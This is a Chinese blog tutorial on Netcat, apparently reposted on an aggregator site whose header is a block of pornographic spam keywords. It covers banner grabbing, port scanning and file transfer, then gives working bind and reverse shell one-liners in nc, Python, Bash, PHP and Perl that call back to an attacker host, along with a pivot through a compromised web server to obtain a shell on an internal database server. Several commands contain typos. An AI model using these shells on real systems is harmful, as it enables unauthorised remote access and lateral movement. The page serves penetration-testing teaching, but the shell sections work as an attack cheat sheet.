日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

Netcat工具的玩法

發(fā)布時(shí)間:2023/12/14 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Netcat工具的玩法 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.


前言
之所以叫Netcat,是因?yàn)樗窃诰W(wǎng)絡(luò)上的cat,cat的功能是讀取一個(gè)文件的內(nèi)容并輸出到屏幕前,netcat也是如此,從網(wǎng)絡(luò)的一端讀取數(shù)據(jù),輸出到網(wǎng)絡(luò)的另一端(可以使用TCP和UDP協(xié)議)

文章目錄

  • 一、安裝
  • 二、命令查詢(xún)
  • 三、Banner 抓取
  • 四、連接遠(yuǎn)程主機(jī)
  • 五、端口掃描
  • 六、端口監(jiān)聽(tīng)
  • 七、文件傳輸
  • 八、簡(jiǎn)易聊天
  • 九、獲取 Shell
  • 十、在目標(biāo)主機(jī)中沒(méi)有nc時(shí)獲取反向Shell
  • 十一、內(nèi)網(wǎng)代理

一、安裝

在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已經(jīng)安裝了nc,如果沒(méi)有安裝,則執(zhí)行如下命令進(jìn)行安裝

sudo yum install nc.x86_64

也可以先使用wget命令下載安裝包,再進(jìn)行安裝,具體如下
下載地址見(jiàn) http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

wget <下載地址> -0 netcat-0.7.1.tar.gz tar axvs netcat-0.7.1.tar.gz cd netcat-0.7.1 ./contigure make

編譯完成,就會(huì)生成 nc 可以執(zhí)行的文件了,該文件位于 src 目錄下,執(zhí)行"cd"命令,運(yùn)行/neteat 文件,就可以找到nc了;

在Windows 中需要使用 Windows 版本的 nc,在禁用-e遠(yuǎn)程執(zhí)行選項(xiàng)的情況下編譯的版本,列舉如下
nc:見(jiàn)https://joncraton.org/files/nc111nt.zip

二、命令查詢(xún)

nc的功能很多,可以輸人"nc -h"命令進(jìn)行查詢(xún)

-d:后臺(tái)模式 -e:程序重定向 -g<網(wǎng)關(guān)>:設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個(gè) -G<指向器數(shù)目>:設(shè)置源路由指向器的數(shù)量,值為4的倍數(shù) -h:在線幫助 -i<延遲秒數(shù)>:設(shè)置時(shí)間間隔,以便傳送信息及掃描通信端口 -l:使用監(jiān)聽(tīng)模式,管理和控制傳人的數(shù)據(jù) -n:直接使用IP地址(不通過(guò)域名服務(wù)器) -o<輸出文件>:指定文件名稱(chēng),把往來(lái)傳輸?shù)臄?shù)據(jù)轉(zhuǎn)換為十六進(jìn)制字節(jié)碼后保存在該文件中 -p<通信端口>:設(shè)置本地主機(jī)使用的通信端口 -r:隨機(jī)指定本地與遠(yuǎn)程主機(jī)的通信端口 -s<源地址>;設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址 -u:使用 UDP 傳輸協(xié)議 -v:詳細(xì)輸出 -w<超時(shí)秒數(shù)>:設(shè)置等待連線的時(shí)間 -z:將輸人/輸出功能關(guān)閉,只在掃描通信端口時(shí)使用

三、Banner 抓取

服務(wù)的Banner 信息能夠?yàn)橄到y(tǒng)管理員提供當(dāng)前網(wǎng)絡(luò)中的系統(tǒng)信息和所運(yùn)行服務(wù)的情況,服務(wù)的Banner 信息不僅包含正在運(yùn)行的服務(wù)類(lèi)型,還包含服務(wù)的版本信息,Banner抓取是一種在開(kāi)放端口上檢索關(guān)于特定服務(wù)信息的技術(shù),在滲透測(cè)試中用于漏洞的評(píng)估。
執(zhí)行如下命令

nc -nv 192.168.123.103 21

從抓取的Banner信息中可以得知,目前目標(biāo)主機(jī)的21端口上運(yùn)行了vsFTPd服務(wù),版本號(hào)為2.3.4

rooteKali-Linux:- nc -nv 192.168.123.103 21 Ncat:Version 7.70(https://nmap.org/ncat) Ncat: Connected to 192.168.123.103:21. 220(vsFTPd2.3.4)

四、連接遠(yuǎn)程主機(jī)

執(zhí)行如下命令,連接遠(yuǎn)程主機(jī)

nc -nvv 192.168.53.128 445

五、端口掃描

執(zhí)行如下命令,掃描指定主機(jī)的端口

nc -v 192.168.53.128 445


執(zhí)行如下命令,掃描指定主機(jī)的某個(gè)端口段(掃描速度很慢)

nc -v -z 192.168.53.128 1-1000

六、端口監(jiān)聽(tīng)

執(zhí)行如下命令,監(jiān)聽(tīng)本地端口,當(dāng)訪問(wèn)該端口時(shí)會(huì)輸出該信息到命令行

nc -l -p 9999

七、文件傳輸

在A主機(jī)中輸入如下命令,開(kāi)始監(jiān)聽(tīng),等待連接,一旦連接建立,數(shù)據(jù)便會(huì)流入

nc -lp 333 > 1.txt

在B主機(jī)中輸入如下命令,與A主機(jī)的333端口建立連接,并傳輸一個(gè)名為test.txt的文本文件

nc -vn 192.168.1.4 333 < test.txt -q l

傳輸完成,在在A主機(jī)中打開(kāi)1.txt文件,就可以看到test.txt的數(shù)據(jù)已經(jīng)傳送過(guò)來(lái)了

八、簡(jiǎn)易聊天

在A主機(jī)中輸入如下命令,開(kāi)始監(jiān)聽(tīng)

nc -l - p 888

在主機(jī)B中輸入如下命令,就可以開(kāi)始聊天了

nc -vn <A的IP地址> 888

九、獲取 Shell

Shell 分為兩種,一種是正向 Shell,另一種是反向 Shell,如果客戶(hù)端連接服務(wù)器,客戶(hù)端想要獲取服務(wù)器的Shell,就稱(chēng)為正向Shell;如果客戶(hù)端連接服務(wù)器,服務(wù)器想要獲取客戶(hù)端的Shell,就稱(chēng)為反向 Shell。

反向Shell 通常用在開(kāi)啟了防護(hù)措施的目標(biāo)機(jī)器上,例如防火墻過(guò)濾、端口轉(zhuǎn)發(fā)等
注:如下的A主機(jī)為客戶(hù)端,B主機(jī)為服務(wù)端

(1)正向 Shell
在B主機(jī)輸入如下命令,監(jiān)聽(tīng)B主機(jī)的 4444 端口

nc -lvp 4444 -e /bin/sh //Linux nc -lvp 4444 -e c:\windows\system32\cmd.exe //Windows

在A主機(jī)上輸人如下命令,A主機(jī)上連接B主機(jī)的 4444 端口

nc <B主機(jī)IP> 4444

(2)反向 Shell
A主機(jī)執(zhí)行如下命令,在A主機(jī)上監(jiān)聽(tīng)本地 9999 端口

nc -lvp 9999

在B主機(jī)中執(zhí)行如下命令,連接A主機(jī)的9999端口

nc <A主機(jī)IP> 9999 -e /bin/sh //Linux ne <A主機(jī)IP> 9999 -e c:\windows\system32\cmd.exe //Windows

然后就可以在A主機(jī)上看到連接了

十、在目標(biāo)主機(jī)中沒(méi)有nc時(shí)獲取反向Shell

在一般情況下,目標(biāo)主機(jī)中是沒(méi)有nc的,此時(shí),可以使用其他工具和編程語(yǔ)言來(lái)代替nc,實(shí)現(xiàn)反向連接,下面介紹幾種常見(jiàn)的反向 Shell

(1)Python 反向 Shell
A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 2222 端口

nc -lvp 2222

在目標(biāo)主機(jī)(B)上執(zhí)行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在目標(biāo)主機(jī)(B)上執(zhí)行反彈命令

(2)Bash 反向 Shell
在A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 4444 端口

nc -lvp 4444

在目標(biāo)主機(jī)(B)上執(zhí)行如下命令

bash -i >& /dev/tcp/<A主機(jī)IP>/4444 0>&1

執(zhí)行反彈命令

(3)PHP 反向Shell
在A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 2222 端口

nc -lvp 2222

PHP常用在Web 服務(wù)器上,它是nc、Perl和Bash的一個(gè)很好的替代品,執(zhí)行如下命令,實(shí)現(xiàn)PHP環(huán)境下的反彈Shell

php -r '$sock=fsockopen("<A主機(jī)IP>",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

建立連接

(4)Perl 反向 Shell
在A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 2222 端口

nc -lvp 2222

如果此時(shí)目標(biāo)主機(jī)使用的是Perl 語(yǔ)言,可以使用Perl 來(lái)建立反向 Shell
在目標(biāo)主機(jī)(B)上運(yùn)行如下命令,會(huì)發(fā)現(xiàn)主機(jī)A已經(jīng)與目標(biāo)主機(jī)(B)建立了連接

perl -e 'use Socket;$i="<A主機(jī)IP>";$p=2222;socket(S,PE_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

十一、內(nèi)網(wǎng)代理

如圖所示,測(cè)試環(huán)境為:攻擊者 VPS(Kali Linux):一個(gè)小型內(nèi)網(wǎng);三臺(tái)服務(wù)器。假設(shè)已經(jīng)獲取了Web 服務(wù)器的權(quán)限,通過(guò) Kali Linux機(jī)器不能訪問(wèn)數(shù)據(jù)庫(kù)服務(wù)器(Linux),但通過(guò) Web 服務(wù)器可以訪問(wèn)數(shù)據(jù)庫(kù)服務(wù)器(Linux),測(cè)試目標(biāo)為:獲取數(shù)據(jù)庫(kù)服務(wù)器(Linux)的Shell

首先,在 VPS 中輸人執(zhí)行如下命令,監(jiān)聽(tīng) 3333 端口

nc -lvp 3333

接著,在數(shù)據(jù)庫(kù)服務(wù)器(Linux)上執(zhí)行如下命令

nc -lvp 3333 -e /bin/sh

最后,在Web服務(wù)器(邊界服務(wù)器)上執(zhí)行如下命令

nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

在輸人的時(shí)候一定要注意,引號(hào)都是英文格式的;
回到 VPS 主機(jī)中,與數(shù)據(jù)庫(kù)服務(wù)器建立了連接!!

總結(jié)

以上是生活随笔為你收集整理的Netcat工具的玩法的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。